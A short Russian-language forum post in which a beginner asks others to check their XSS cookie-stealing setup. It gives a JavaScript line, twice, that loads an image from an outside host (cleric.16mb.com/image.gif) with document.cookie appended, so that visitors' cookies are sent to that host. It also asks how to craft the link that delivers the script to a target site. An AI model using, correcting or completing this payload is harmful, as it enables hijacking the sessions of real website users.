кул, я добрался до XSS )

тока вопросы появились, помогите ?

- создал файлы : s.php, image.gif, .htaccess, 1.js, залил на хост,

вопрос 1 (содержимое файла 1.js) :

img=new Image(); img.src="http://cleric.16mb.com/image.gif?"+document.cookie; - так правильно ?

вопрос 2 "скрипт, который крадет куки. Вот он:" :

img = new Image(); img.src = "http://cleric.16mb.com/image.gif?"+document.cookie; - так ?

вопрос 3 "и давать уже ссылку на наш скрипт" :

http://www.site.ru/index.php?id= - как будет выглядеть в моем случае ? если сайт где все лежит такой : http://cleric.16mb.com/index.html